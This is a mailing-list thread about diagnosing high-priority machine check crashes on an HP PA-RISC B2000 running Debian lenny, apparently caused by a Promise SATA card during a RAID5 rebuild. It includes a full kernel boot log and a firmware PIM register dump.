>> OS HPMC bz err
>> Bad OS HPMC len
>> HPMC initiated
> 
> Hi Dirk,
> Given the PCI listing you gave below, I agree the HPMC is likely caused by
> the Promise SATA card.
> 
>> I don't have screen nor keyboard attached to it so debugging is a bit
>> difficult.
> 
> AFAIK, the only way to debug this is to capture the HPMC dump.
> The HPMC dump can only be capture via serial console. :(
> (ie run "ser pim" at PDC prompt from a terminal emulator like minicom)
> 
>> System:
>> Debian lenny (stable), rather clean install
>>
>> $ uname -a
>> Linux coulomb 2.6.26-2-parisc #1 Fri Mar 27 03:29:17 UTC 2009 parisc
>> GNU/Linux
>>
>>
>> The machines has the following lspci:
>>
>> 00:0c.0 Ethernet controller: Digital Equipment Corporation DECchip
>> 21142/43 (rev 41)
>> 00:0d.0 Multimedia audio controller: Analog Devices AD1889 sound chip
>> 00:0e.0 IDE interface: National Semiconductor Corporation 87415/87560
>> IDE (rev 03)
>> 00:0e.1 Bridge: National Semiconductor Corporation 87560 Legacy I/O (rev 01)
>> 00:0e.2 USB Controller: National Semiconductor Corporation USB
>> Controller (rev 02)
>> 00:0f.0 SCSI storage controller: LSI Logic / Symbios Logic 53c895a (rev 01)
>> 01:00.0 3D controller: Hewlett-Packard Company Visualize FXe (rev 03)
>> 01:04.0 Mass storage controller: Promise Technology, Inc. PDC40718 (SATA
>> 300 TX4) (rev 02)
>>
>> Of which the last entry might well be the problem.
>>
>> This is a promise card for my 3* 1TB sata disks. They seem to be
>> initialized correctly, I made software raid with mdadm, but not I get
>> the following:
>>
>> $ cat /proc/mdstat
>> Personalities : [linear] [multipath] [raid0] [raid1] [raid6] [raid5]
>> [raid4] [raid10]
>> md0 : active raid5 sdc1[0] sde1[3] sdd1[1]
>>       1953519872 blocks level 5, 64k chunk, algorithm 2 [3/2] [UU_]
>>       [=>...................]  recovery =  5.8% (56795292/976759936)
>> finish=451.9min speed=33920K/sec
>>
>> unused devices: <none>
>>
>> This keeps on running for a few hours, until the machine gets unresponsive.
>>
>> I don't think I get anything strange in syslog, kernel.log, messages,...
>>
>> So, my questions:
>> * Is this sata promise card the fault?
> 
> Likely, yes.
> 
>> * on the web, the errors on the display seemed to indicate hardware
>> problems, but any insight on that?
> 
> HW caught the error. Unless this happens w/o Promise care present,
> I'm not inclined to believe this is a HW problem.
> 
>> * Best ways to solve this?
> 
> Capture "ser pim" output (aka PIM dump).
> 
>> * Did I forget something?
>>
>> Dirk
>>
>> PS: Next thing I'll try is to remove the promise card to see if that was
>> the problem
>> PPS: dmesg in attach
> 
> thanks!
> grant
> 
>> -- 
>> Dirk Van Hertem                       Dirk.VanHertem@esat.kuleuven.be
>> Electrical Engineering Department  http://www.esat.kuleuven.be/electa
>> K.U. Leuven, ESAT-ELECTA                         tel: +32-16-32.18.95
>> 10, Kasteelpark Arenberg, B-3001 Heverlee        fax: +32-16-32.19.85
> 
>> [    0.000000] Initializing cgroup subsys cpu
>> [    0.000000] Linux version 2.6.26-2-parisc (Debian 2.6.26-15) (dannf@debian.org) (gcc version 4.1.3 20080704 (prerelease) (Debian 4.1.2-25)) #1 Fri Mar 27 03:29:17 UTC 2009
>> [    0.000000] FP[0] enabled: Rev 1 Model 16
>> [    0.000000] The 32-bit Kernel has started...
>> [    0.000000] console [ttyB0] enabled
>> [    0.000000] Initialized PDC Console for debugging.
>> [    0.000000] Determining PDC firmware type: System Map.
>> [    0.000000] model 00005d00 00000481 00000000 00000002 782d3480 100000f0 00000008 000000b2 000000b2
>> [    0.000000] vers  00000301
>> [    0.000000] CPUID vers 17 rev 11 (0x0000022b)
>> [    0.000000] capabilities 0x3
>> [    0.000000] model 9000/785/B2000
>> [    0.000000] Total Memory: 1024 MB
>> [    0.000000] initrd: 4f8ce000-4ffedfb5
>> [    0.000000] initrd: reserving 3f8ce000-3ffedfb5 (mem_max 40000000)
>> [    0.000000] On node 0 totalpages: 262144
>> [    0.000000]   Normal zone: 2048 pages used for memmap
>> [    0.000000]   Normal zone: 0 pages reserved
>> [    0.000000]   Normal zone: 260096 pages, LIFO batch:31
>> [    0.000000]   Movable zone: 0 pages used for memmap
>> [    0.000000] LCD display at f05d0008,f05d0000 registered
>> [    0.000000] Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 260096
>> [    0.000000] Kernel command line: root=/dev/sdb5 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux
>> [    0.000000] PID hash table entries: 4096 (order: 12, 16384 bytes)
>> [17179569.184000] Console: colour dummy device 160x64
>> [17179569.248000] Dentry cache hash table entries: 131072 (order: 7, 524288 bytes)
>> [17179569.348000] Inode-cache hash table entries: 65536 (order: 6, 262144 bytes)
>> [17179569.532000] Memory: 1026560k/1048576k available (1961k kernel code, 21792k reserved, 882k data, 224k init)
>> [17179569.660000] virtual kernel memory layout:
>> [17179569.660000]     vmalloc : 0x00008000 - 0x0f000000   ( 239 MB)
>> [17179569.660000]     memory  : 0x10000000 - 0x50000000   (1024 MB)
>> [17179569.660000]       .init : 0x10410000 - 0x10448000   ( 224 kB)
>> [17179569.660000]       .data : 0x102ea6b4 - 0x103c7000   ( 882 kB)
>> [17179569.660000]       .text : 0x10100000 - 0x102ea6b4   (1961 kB)
>> [17179570.112000] Calibrating delay loop... 798.72 BogoMIPS (lpj=1597440)
>> [17179570.204000] Security Framework initialized
>> [17179570.260000] SELinux:  Disabled at boot.
>> [17179570.312000] Capability LSM initialized
>> [17179570.368000] Mount-cache hash table entries: 512
>> [17179570.428000] Initializing cgroup subsys ns
>> [17179570.484000] Initializing cgroup subsys cpuacct
>> [17179570.548000] Initializing cgroup subsys devices
>> [17179570.612000] net_namespace: 648 bytes
>> [17179570.660000] NET: Registered protocol family 16
>> [17179570.724000] EISA bus registered
>> [17179570.768000] Searching for devices...
>> [17179571.020000] Found devices:
>> [17179571.060000] 1. Astro BC Runway Port at 0xfed00000 [10] { 12, 0x0, 0x582, 0x0000b }
>> [17179571.160000] 2. Elroy PCI Bridge at 0xfed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }
>> [17179571.264000] 3. Elroy PCI Bridge at 0xfed32000 [10/1] { 13, 0x0, 0x782, 0x0000a }
>> [17179571.364000] 4. Kazoo W+ at 0xfffa0000 [32] { 0, 0x0, 0x5d0, 0x00004 }
>> [17179571.452000] 5. Memory at 0xfed10200 [49] { 1, 0x0, 0x09d, 0x00009 }
>> [17179571.536000] Enabling regular chassis codes support v0.05
>> [17179571.736000] CPU(s): 1 x PA8600 (PCX-W+) at 400.000000 MHz
>> [17179571.812000] Whole cache flush 115727 cycles, flushing 3440640 bytes 467519 cycles
>> [17179571.812000] Setting cache flush threshold to 1980 (1 CPUs online)
>> [17179571.920000] SBA found Astro 2.1 at 0xfed00000
>> [17179571.984000] Elroy version TR4.0 (0x5) found at 0xfed30000
>> [17179572.060000] PCI: Enabled native mode for NS87415 (pif=0x8f)
>> [17179572.140000] Elroy version TR4.0 (0x5) found at 0xfed32000
>> [17179572.232000] powersw: Soft power switch at 0xf0400804 enabled.
>> [17179572.324000] NET: Registered protocol family 2
>> [17179572.424000] IP route cache hash table entries: 32768 (order: 5, 131072 bytes)
>> [17179572.520000] TCP established hash table entries: 131072 (order: 8, 1048576 bytes)
>> [17179572.624000] TCP bind hash table entries: 65536 (order: 6, 262144 bytes)
>> [17179572.716000] TCP: Hash tables configured (established 131072 bind 65536)
>> [17179572.808000] TCP reno registered
>> [17179572.864000] NET: Registered protocol family 1
>> [17179572.924000] checking if image is initramfs... it is
>> [17179575.908000] Freeing initrd memory: 7295k freed
>> [17179575.976000] Enabling PDC chassis warnings support v0.05
>> [17179576.048000] unwind_init: start = 0x1035de10, end = 0x103850f0, entries = 10030
>> [17179576.144000] WARNING: Out of order unwind entry! 1035f810 and 1035f820
>> [17179576.232000] WARNING: Out of order unwind entry! 1035f820 and 1035f830
>> [17179576.324000] audit: initializing netlink socket (disabled)
>> [17179576.396000] type=2000 audit(1241188257.212:1): initialized
>> [17179576.472000] VFS: Disk quotas dquot_6.5.1
>> [17179576.528000] Dquot-cache hash table entries: 1024 (order 0, 4096 bytes)
>> [17179576.620000] msgmni has been set to 2019
>> [17179576.676000] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 254)
>> [17179576.776000] io scheduler noop registered
>> [17179576.832000] io scheduler anticipatory registered
>> [17179576.896000] io scheduler deadline registered
>> [17179576.956000] io scheduler cfq registered (default)
>> [17179577.020000] SuperIO: Found NS87560 Legacy I/O device at 0000:00:0e.1 (IRQ 67) 
>> [17179577.120000] SuperIO: Serial port 1 at 0x3f8
>> [17179577.176000] SuperIO: Serial port 2 at 0x2f8
>> [17179577.236000] SuperIO: Parallel port at 0x378
>> [17179577.292000] SuperIO: Floppy controller at 0x3f0
>> [17179577.356000] SuperIO: ACPI at 0x7e0
>> [17179577.404000] SuperIO: USB regulator enabled
>> [17179577.464000] PDC Stable Storage facility v0.30
>> [17179577.836000] STI GSC/PCI core graphics driver Version 0.9a
>> [17179577.912000] sti 0000:01:00.0: enabling SERR and PARITY (0046 -> 0146)
>> [17179578.000000] STI PCI graphic ROM found at f4840000 (128 kB), fb at fb000000 (16 MB)
>> [17179578.228000]     id 35acda16-9a02587, conforms to spec rev. 8.0c
>> [17179578.312000]     graphics card name: HPA4982A
>> [17179578.368000] sticon: Initializing STI text console.
>> [17179578.436000] Console: switching to colour STI console 160x64
>> [17179578.788000] stifb: 'HPA4982A' (id: 0x35acda16) not supported.
>> [17179578.876000] Generic RTC Driver v1.07
>> [17179578.928000] Serial: 8250/16550 driver $Revision: 1.90 $ 4 ports, IRQ sharing enabled
>> [17179579.036000] serial8250: ttyS0 at I/O 0x3f8 (irq = 3) is a 16550A
>> [17179579.116000] console handover: boot [ttyB0] -> real [ttyS0]
>> [17179579.192000] serial8250: ttyS1 at I/O 0x2f8 (irq = 4) is a 16550A
>> [17179579.276000] brd: module loaded
>> [17179579.316000] mice: PS/2 mouse device common for all mice
>> [17179579.384000] TCP cubic registered
>> [17179579.424000] NET: Registered protocol family 17
>> [17179579.484000] registered taskstats version 1
>> [17179579.536000] Freeing unused kernel memory: 224k freed
>> [17179580.348000] SCSI subsystem initialized
>> [17179581.996000] Linux Tulip driver version 1.1.15-NAPI (Feb 27, 2007)
>> [17179582.080000] tulip0: no phy info, aborting mtable build
>> [17179582.144000] tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
>> [17179582.248000] eth0: Digital DS21142/43 Tulip rev 65 at MMIO 0xf4005000, 00:30:6e:08:0a:7f, IRQ 65.
>> [17179582.544000] usbcore: registered new interface driver usbfs
>> [17179582.612000] usbcore: registered new interface driver hub
>> [17179582.704000] sym0: <895a> rev 0x1 at pci 0000:00:0f.0 irq 68
>> [17179582.804000] libata version 3.00 loaded.
>> [17179582.824000] sym0: PA-RISC Firmware, ID 7, Fast-40, LVD, parity checking
>> [17179582.904000] sym0: SCSI BUS has been reset.
>> [17179582.964000] scsi0 : sym-2.2.3
>> [17179583.008000] usbcore: registered new device driver usb
>> [17179583.096000] ohci_hcd: 2006 August 04 USB 1.1 'Open' Host Controller (OHCI) Driver
>> [17179583.096000] ohci_hcd: block sizes: ed 64 td 64
>> [17179583.100000] ohci_hcd 0000:00:0e.2: OHCI Host Controller
>> [17179583.168000] ohci_hcd 0000:00:0e.2: new USB bus registered, assigned bus number 1
>> [17179583.260000] ohci_hcd 0000:00:0e.2: Using NSC SuperIO setup
>> [17179583.260000] ohci_hcd 0000:00:0e.2: created debug files
>> [17179583.260000] ohci_hcd 0000:00:0e.2: irq 1, io mem 0xf4004000
>> [17179583.384000] ohci_hcd 0000:00:0e.2: OHCI controller state
>> [17179583.384000] ohci_hcd 0000:00:0e.2: OHCI 1.0, NO legacy support registers
>> [17179583.384000] ohci_hcd 0000:00:0e.2: control 0x083 HCFS=operational CBSR=3
>> [17179583.384000] ohci_hcd 0000:00:0e.2: cmdstatus 0x00000 SOC=0
>> [17179583.384000] ohci_hcd 0000:00:0e.2: intrstatus 0x00000000
>> [17179583.384000] ohci_hcd 0000:00:0e.2: intrenable 0x8000001a MIE UE RD WDH
>> [17179583.384000] ohci_hcd 0000:00:0e.2: hcca frame #0000
>> [17179583.384000] ohci_hcd 0000:00:0e.2: roothub.a 00001003 POTPGT=0 NOCP NDP=3(3)
>> [17179583.384000] ohci_hcd 0000:00:0e.2: roothub.b 000e0000 PPCM=000e DR=0000
>> [17179583.384000] ohci_hcd 0000:00:0e.2: roothub.status 00008000 DRWE
>> [17179583.384000] ohci_hcd 0000:00:0e.2: roothub.portstatus [0] 0x00000100 PPS
>> [17179583.384000] ohci_hcd 0000:00:0e.2: roothub.portstatus [1] 0x00000100 PPS
>> [17179583.384000] ohci_hcd 0000:00:0e.2: roothub.portstatus [2] 0x00000100 PPS
>> [17179583.384000] usb usb1: default language 0x0409
>> [17179583.384000] usb usb1: uevent
>> [17179583.384000] usb usb1: usb_probe_device
>> [17179583.384000] usb usb1: configuration #1 chosen from 1 choice
>> [17179583.452000] usb usb1: adding 1-0:1.0 (config #1, interface 0)
>> [17179583.452000] usb 1-0:1.0: uevent
>> [17179583.452000] hub 1-0:1.0: usb_probe_interface
>> [17179583.452000] hub 1-0:1.0: usb_probe_interface - got id
>> [17179583.452000] hub 1-0:1.0: USB hub found
>> [17179583.500000] hub 1-0:1.0: 3 ports detected
>> [17179583.552000] hub 1-0:1.0: standalone hub
>> [17179583.552000] hub 1-0:1.0: ganged power switching
>> [17179583.552000] hub 1-0:1.0: no over-current protection
>> [17179583.552000] hub 1-0:1.0: power on to power good time: 0ms
>> [17179583.552000] hub 1-0:1.0: local power source is good
>> [17179583.552000] hub 1-0:1.0: enabling power on all ports
>> [17179583.656000] usb usb1: New USB device found, idVendor=1d6b, idProduct=0001
>> [17179583.740000] usb usb1: New USB device strings: Mfr=3, Product=2, SerialNumber=1
>> [17179583.828000] usb usb1: Product: OHCI Host Controller
>> [17179583.892000] usb usb1: Manufacturer: Linux 2.6.26-2-parisc ohci_hcd
>> [17179583.968000] usb usb1: SerialNumber: 0000:00:0e.2
>> [17179584.032000] sata_promise 0000:01:04.0: version 2.12
>> [17179584.032000] scsi1 : sata_promise
>> [17179584.112000] Uniform Multi-Platform E-IDE driver
>> [17179584.168000] ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx
>> [17179584.268000] scsi2 : sata_promise
>> [17179584.312000] scsi3 : sata_promise
>> [17179584.352000] scsi4 : sata_promise
>> [17179584.396000] ata1: SATA max UDMA/133 mmio m4096@0xf4820000 ata 0xf4820380 irq 70
>> [17179584.484000] ata2: SATA max UDMA/133 mmio m4096@0xf4820000 ata 0xf4820280 irq 70
>> [17179584.576000] ata3: SATA max UDMA/133 mmio m4096@0xf4820000 ata 0xf4820200 irq 70
>> [17179584.668000] ata4: SATA max UDMA/133 mmio m4096@0xf4820000 ata 0xf4820300 irq 70
>> [17179584.760000] hub 1-0:1.0: state 7 ports 3 chg 0000 evt 0000
>> [17179584.792000] NS87415: IDE controller (0x100b:0x0002 rev 0x03) at  PCI slot 0000:00:0e.0
>> [17179584.892000] NS87415: 100% native mode on irq 7
>> [17179584.948000]     ide0: BM-DMA at 0x0900-0x0907
>> [17179585.008000]     ide1: BM-DMA at 0x0908-0x090f
>> [17179585.060000] Probing IDE interface ide0...
>> [17179585.184000] ata1: SATA link up 3.0 Gbps (SStatus 123 SControl 300)
>> [17179585.284000] ata1.00: ATA-8: Hitachi HDT721010SLA360, ST6OA31B, max UDMA/133
>> [17179585.368000] ata1.00: 1953525168 sectors, multi 0: LBA48 NCQ (depth 0/32)
>> [17179585.468000] ata1.00: configured for UDMA/133
>> [17179585.692000] hda: FX4830T, ATAPI CD/DVD-ROM drive
>> [17179585.856000] ata2: SATA link down (SStatus 0 SControl 300)
>> [17179586.240000] ata3: SATA link up 3.0 Gbps (SStatus 123 SControl 300)
>> [17179586.340000] ata3.00: ATA-8: Hitachi HDT721010SLA360, ST6OA31B, max UDMA/133
>> [17179586.424000] ata3.00: 1953525168 sectors, multi 0: LBA48 NCQ (depth 0/32)
>> [17179586.524000] ata3.00: configured for UDMA/133
>> [17179586.692000] Probing IDE interface ide1...
>> [17179586.896000] ata4: SATA link up 3.0 Gbps (SStatus 123 SControl 300)
>> [17179586.996000] ata4.00: ATA-8: Hitachi HDT721010SLA360, ST6OA31B, max UDMA/133
>> [17179587.080000] ata4.00: 1953525168 sectors, multi 0: LBA48 NCQ (depth 0/32)
>> [17179587.180000] ata4.00: configured for UDMA/133
>> [17179587.232000] scsi: waiting for bus probes to complete ...
>> [17179587.524000] ide0 at 0xe00-0xe07,0xd02 on irq 7
>> [17179587.580000] ide1 at 0xb00-0xb07,0xa02 on irq 7
>> [17179587.636000] scsi 0:0:5:0: Direct-Access     IBM      IC35L073UCDY10-0 S27T PQ: 0 ANSI: 3
>> [17179587.736000]  target0:0:5: tagged command queuing enabled, command queue depth 16.
>> [17179587.828000]  target0:0:5: Beginning Domain Validation
>> [17179587.892000]  target0:0:5: asynchronous
>> [17179587.944000]  target0:0:5: wide asynchronous
>> [17179587.996000]  target0:0:5: FAST-40 WIDE SCSI 80.0 MB/s ST (25 ns, offset 31)
>> [17179588.084000]  target0:0:5: Domain Validation skipping write tests
>> [17179588.160000]  target0:0:5: Ending Domain Validation
>> [17179588.220000] scsi 0:0:6:0: Direct-Access     QUANTUM  ATLAS5-9LVD      HP04 PQ: 0 ANSI: 3
>> [17179588.320000]  target0:0:6: tagged command queuing enabled, command queue depth 16.
>> [17179588.412000]  target0:0:6: Beginning Domain Validation
>> [17179588.476000]  target0:0:6: asynchronous
>> [17179588.528000]  target0:0:6: wide asynchronous
>> [17179588.580000]  target0:0:6: FAST-40 WIDE SCSI 80.0 MB/s ST (25 ns, offset 31)
>> [17179588.668000]  target0:0:6: Domain Validation skipping write tests
>> [17179588.744000]  target0:0:6: Ending Domain Validation
>> [17179591.132000] scsi 1:0:0:0: Direct-Access     ATA      Hitachi HDT72101 ST6O PQ: 0 ANSI: 5
>> [17179591.304000] scsi 3:0:0:0: Direct-Access     ATA      Hitachi HDT72101 ST6O PQ: 0 ANSI: 5
>> [17179591.440000] Driver 'sd' needs updating - please use bus_type methods
>> [17179591.608000] scsi 4:0:0:0: Direct-Access     ATA      Hitachi HDT72101 ST6O PQ: 0 ANSI: 5
>> [17179591.732000] sd 0:0:5:0: [sda] 143374650 512-byte hardware sectors (73408 MB)
>> [17179592.108000] sd 0:0:5:0: [sda] Write Protect is off
>> [17179592.168000] sd 0:0:5:0: [sda] Mode Sense: cb 00 00 08
>> [17179592.296000] hda: ATAPI 48X CD-ROM drive, 128kB Cache
>> [17179592.356000] Uniform CD-ROM driver Revision: 3.20
>> [17179592.524000] sd 0:0:5:0: [sda] Write cache: disabled, read cache: enabled, doesn't support DPO or FUA
>> [17179592.640000] sd 0:0:5:0: [sda] 143374650 512-byte hardware sectors (73408 MB)
>> [17179592.728000] sd 0:0:5:0: [sda] Write Protect is off
>> [17179592.788000] sd 0:0:5:0: [sda] Mode Sense: cb 00 00 08
>> [17179592.788000] sd 0:0:5:0: [sda] Write cache: disabled, read cache: enabled, doesn't support DPO or FUA
>> [17179592.904000]  sda: sda1
>> [17179592.964000] sd 0:0:5:0: [sda] Attached SCSI disk
>> [17179593.044000] sd 0:0:6:0: [sdb] 17773524 512-byte hardware sectors (9100 MB)
>> [17179593.140000] sd 0:0:6:0: [sdb] Write Protect is off
>> [17179593.204000] sd 0:0:6:0: [sdb] Mode Sense: e3 00 10 08
>> [17179593.232000] sd 0:0:6:0: [sdb] Write cache: enabled, read cache: enabled, supports DPO and FUA
>> [17179593.348000] sd 0:0:6:0: [sdb] 17773524 512-byte hardware sectors (9100 MB)
>> [17179593.432000] sd 0:0:6:0: [sdb] Write Protect is off
>> [17179593.496000] sd 0:0:6:0: [sdb] Mode Sense: e3 00 10 08
>> [17179593.496000] sd 0:0:6:0: [sdb] Write cache: enabled, read cache: enabled, supports DPO and FUA
>> [17179593.600000]  sdb: sdb1 sdb2 sdb3 < sdb5 sdb6 sdb7 sdb8 > sdb4
>> [17179593.724000] sd 0:0:6:0: [sdb] Attached SCSI disk
>> [17179593.792000] sd 1:0:0:0: [sdc] 1953525168 512-byte hardware sectors (1000205 MB)
>> [17179593.884000] sd 1:0:0:0: [sdc] Write Protect is off
>> [17179593.944000] sd 1:0:0:0: [sdc] Mode Sense: 00 3a 00 00
>> [17179593.944000] sd 1:0:0:0: [sdc] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA
>> [17179594.056000] sd 1:0:0:0: [sdc] 1953525168 512-byte hardware sectors (1000205 MB)
>> [17179594.148000] sd 1:0:0:0: [sdc] Write Protect is off
>> [17179594.208000] sd 1:0:0:0: [sdc] Mode Sense: 00 3a 00 00
>> [17179594.208000] sd 1:0:0:0: [sdc] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA
>> [17179594.320000]  sdc: sdc1
>> [17179594.364000] sd 1:0:0:0: [sdc] Attached SCSI disk
>> [17179594.432000] sd 3:0:0:0: [sdd] 1953525168 512-byte hardware sectors (1000205 MB)
>> [17179594.520000] sd 3:0:0:0: [sdd] Write Protect is off
>> [17179594.584000] sd 3:0:0:0: [sdd] Mode Sense: 00 3a 00 00
>> [17179594.584000] sd 3:0:0:0: [sdd] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA
>> [17179594.696000] sd 3:0:0:0: [sdd] 1953525168 512-byte hardware sectors (1000205 MB)
>> [17179594.784000] sd 3:0:0:0: [sdd] Write Protect is off
>> [17179594.844000] sd 3:0:0:0: [sdd] Mode Sense: 00 3a 00 00
>> [17179594.844000] sd 3:0:0:0: [sdd] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA
>> [17179594.956000]  sdd: sdd1
>> [17179595.004000] sd 3:0:0:0: [sdd] Attached SCSI disk
>> [17179595.068000] sd 4:0:0:0: [sde] 1953525168 512-byte hardware sectors (1000205 MB)
>> [17179595.160000] sd 4:0:0:0: [sde] Write Protect is off
>> [17179595.220000] sd 4:0:0:0: [sde] Mode Sense: 00 3a 00 00
>> [17179595.220000] sd 4:0:0:0: [sde] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA
>> [17179595.332000] sd 4:0:0:0: [sde] 1953525168 512-byte hardware sectors (1000205 MB)
>> [17179595.424000] sd 4:0:0:0: [sde] Write Protect is off
>> [17179595.484000] sd 4:0:0:0: [sde] Mode Sense: 00 3a 00 00
>> [17179595.484000] sd 4:0:0:0: [sde] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA
>> [17179595.596000]  sde: sde1
>> [17179595.640000] sd 4:0:0:0: [sde] Attached SCSI disk
>> [17179596.980000] md: linear personality registered for level -1
>> [17179597.088000] md: multipath personality registered for level -4
>> [17179597.200000] md: raid0 personality registered for level 0
>> [17179597.312000] md: raid1 personality registered for level 1
>> [17179597.416000] xor: measuring software checksum speed
>> [17179597.496000]    8regs     :   943.000 MB/sec
>> [17179597.568000]    8regs_prefetch:   933.000 MB/sec
>> [17179597.644000]    32regs    :   960.000 MB/sec
>> [17179597.716000]    32regs_prefetch:   945.000 MB/sec
>> [17179597.772000] xor: using function: 32regs (960.000 MB/sec)
>> [17179597.848000] async_tx: api initialized (sync-only)
>> [17179598.012000] raid6: int32x1    183 MB/s
>> [17179598.128000] raid6: int32x2    230 MB/s
>> [17179598.244000] raid6: int32x4    272 MB/s
>> [17179598.360000] raid6: int32x8    213 MB/s
>> [17179598.408000] raid6: using algorithm int32x4 (272 MB/s)
>> [17179598.468000] md: raid6 personality registered for level 6
>> [17179598.536000] md: raid5 personality registered for level 5
>> [17179598.604000] md: raid4 personality registered for level 4
>> [17179598.896000] md: raid10 personality registered for level 10
>> [17179599.136000] md: bind<sdd1>
>> [17179599.172000] md: bind<sde1>
>> [17179599.208000] md: bind<sdc1>
>> [17179599.324000] raid5: device sdc1 operational as raid disk 0
>> [17179599.392000] raid5: device sdd1 operational as raid disk 1
>> [17179599.460000] raid5: allocated 3176kB for md0
>> [17179599.512000] raid5: raid level 5 set md0 active with 2 out of 3 devices, algorithm 2
>> [17179599.608000] RAID5 conf printout:
>> [17179599.648000]  --- rd:3 wd:2
>> [17179599.684000]  disk 0, o:1, dev:sdc1
>> [17179599.728000]  disk 1, o:1, dev:sdd1
>> [17179600.672000] EXT3-fs: INFO: recovery required on readonly filesystem.
>> [17179600.752000] EXT3-fs: write access will be enabled during recovery.
>> [17179601.128000] kjournald starting.  Commit interval 5 seconds
>> [17179601.196000] EXT3-fs: recovery complete.
>> [17179601.244000] EXT3-fs: mounted filesystem with ordered data mode.
>> [17179603.920000] udevd version 125 started
>> [17179604.124000] usb usb1: uevent
>> [17179604.124000] usb 1-0:1.0: uevent
>> [17179609.280000] Adding 489940k swap on /dev/sdb7.  Priority:-1 extents:1 across:489940k
>> [17179609.764000] EXT3 FS on sdb5, internal journal
>> [17179610.860000] LASI 82596 driver - Revision: 1.30
>> [17179610.980000] loop: module loaded
>> [17179616.900000] RAID5 conf printout:
>> [17179616.944000]  --- rd:3 wd:2
>> [17179616.980000]  disk 0, o:1, dev:sdc1
>> [17179617.024000]  disk 1, o:1, dev:sdd1
>> [17179617.072000]  disk 2, o:1, dev:sde1
>> [17179617.116000] md: recovery of RAID array md0
>> [17179617.168000] md: minimum _guaranteed_  speed: 1000 KB/sec/disk.
>> [17179617.240000] md: using maximum available idle IO bandwidth (but not more than 200000 KB/sec) for recovery.
>> [17179617.360000] md: using 128k window, over a total of 976759936 blocks.
>> [17179632.056000] kjournald starting.  Commit interval 5 seconds
>> [17179632.140000] EXT3 FS on sdb8, internal journal
>> [17179632.196000] EXT3-fs: mounted filesystem with ordered data mode.
>> [17179632.312000] kjournald starting.  Commit interval 5 seconds
>> [17179632.392000] EXT3 FS on sdb4, internal journal
>> [17179632.448000] EXT3-fs: mounted filesystem with ordered data mode.
>> [17179632.556000] kjournald starting.  Commit interval 5 seconds
>> [17179632.632000] EXT3 FS on sdb6, internal journal
>> [17179632.688000] EXT3-fs: mounted filesystem with ordered data mode.
>> [17179632.816000] kjournald starting.  Commit interval 5 seconds
>> [17179632.920000] EXT3 FS on sda1, internal journal
>> [17179632.976000] EXT3-fs: mounted filesystem with ordered data mode.
>> [17179633.408000] kjournald starting.  Commit interval 5 seconds
>> [17179633.512000] EXT3 FS on md0, internal journal
>> [17179633.564000] EXT3-fs: mounted filesystem with ordered data mode.
>> [17179639.712000] eth0: Setting full-duplex based on MII#1 link partner capability of 45e1.
> 
> 


-- 
Dirk Van Hertem                       Dirk.VanHertem@esat.kuleuven.be
Electrical Engineering Department  http://www.esat.kuleuven.be/electa
K.U. Leuven, ESAT-ELECTA                         tel: +32-16-32.18.95
10, Kasteelpark Arenberg, B-3001 Heverlee        fax: +32-16-32.19.85

--------------000803000503010300030909
Content-Type: text/plain;
 name="ser_pim.txt"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="ser_pim.txt"

Main Menu: Enter command > ser pim

PROCESSOR PIM INFORMATION

-----------------  Processor 0 HPMC Information ------------------

Timestamp =
  Fri May  15 20:19:22 GMT 2009    (20:09:05:15:20:19:22)

HPMC Chassis Codes = 2cbf0  2500b  2cbf2  2cbfc

General Registers 0 - 31
00-03   0000000000000000  000000001021d000  00000000000fca38  000000004df4c074
04-07   0000000000000000  000000004df4d380  000000000008073c  000000004df4c000
08-11   0000000000102598  0000000000013000  0000000000000000  0000000000013000
12-15   0000000000000000  0000000000000005  00000000001ca06c  00000000f0400004
16-19   000000004e1f8540  00000000f000017c  00000000f0000174  000000004df4c000
20-23   0000000000000001  0000000000066004  0000000000066000  000000004f497b30
24-27   0000000000000001  ffffffff80000000  000000004df4c074  00000000103850f0
28-31   0000000001000000  0000000000066380  000000004e1f8bc0  0000000000000004

<Press any key to continue (q to quit)>

Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   000000000000003a  0000000000000000  00000000000000c0  0000000000000001
12-15   0000000000000000  0000000000000000  000000000010d000  00000000fe000000
16-19   000002aeeacf3b1a  0000000000000000  0000000000070464  000000000ff6009c
20-23   00000000a627ffd2  0000000008066004  000000ff0004ff0e  0000000080000000
24-27   00000000003c7000  000000003e402000  0000000000044021  00000000f0412000
28-31   0000000055555555  0000000055555555  000000004e1f8000  0000000011111111
Space Registers 0 - 7

00-03   00000000          00000000          00000000          0000001d
04-07   00000000          00000000          00000000          00000000
<Press any key to continue (q to quit)>

IIA Space                    = 0x0000000000000000
IIA Offset                   = 0x0000000000070468
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x0030103b
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x000000fff4820004
System Requestor Address     = 0xfffffffffffa0000

Floating-Point Registers 0 - 31
00-03   0000001f00000000  0000000000000000  0000000000000000  0000000000000000
04-07   7ff7ffffffffffff  41d25c49fb800000  000000058c000000  7ff7ffffffffffff
08-11   000000000000fe9c  000000024f415bc0  4f415bc800000000  1056c58000000003
12-15   5555555555555555  5555555555555555  5555555555555555  5555555555555555
16-19   5555555555555555  5555555555555555  5555555555555555  5555555555555555
20-23   5555555555555555  5555555555555555  0000008099999e4f  003a2c6a00000000
24-27   0000000000000000  000000001d163500  00001c3e103d2b48  1022b1c810263260
28-31   ffffffff00001c3e  103990b01018c6ec  103990b000000190  4f42428010115ed0

<Press any key to continue (q to quit)>


'9000/785 B,C,J Workstation Unarchitected (per-CPU)', rev 1, 140 bytes:

Check Summary                = 0xcb81041008000000
Available Memory             = 0x0000000040000000
CPU Diagnose Register 2      = 0x0301000000000004
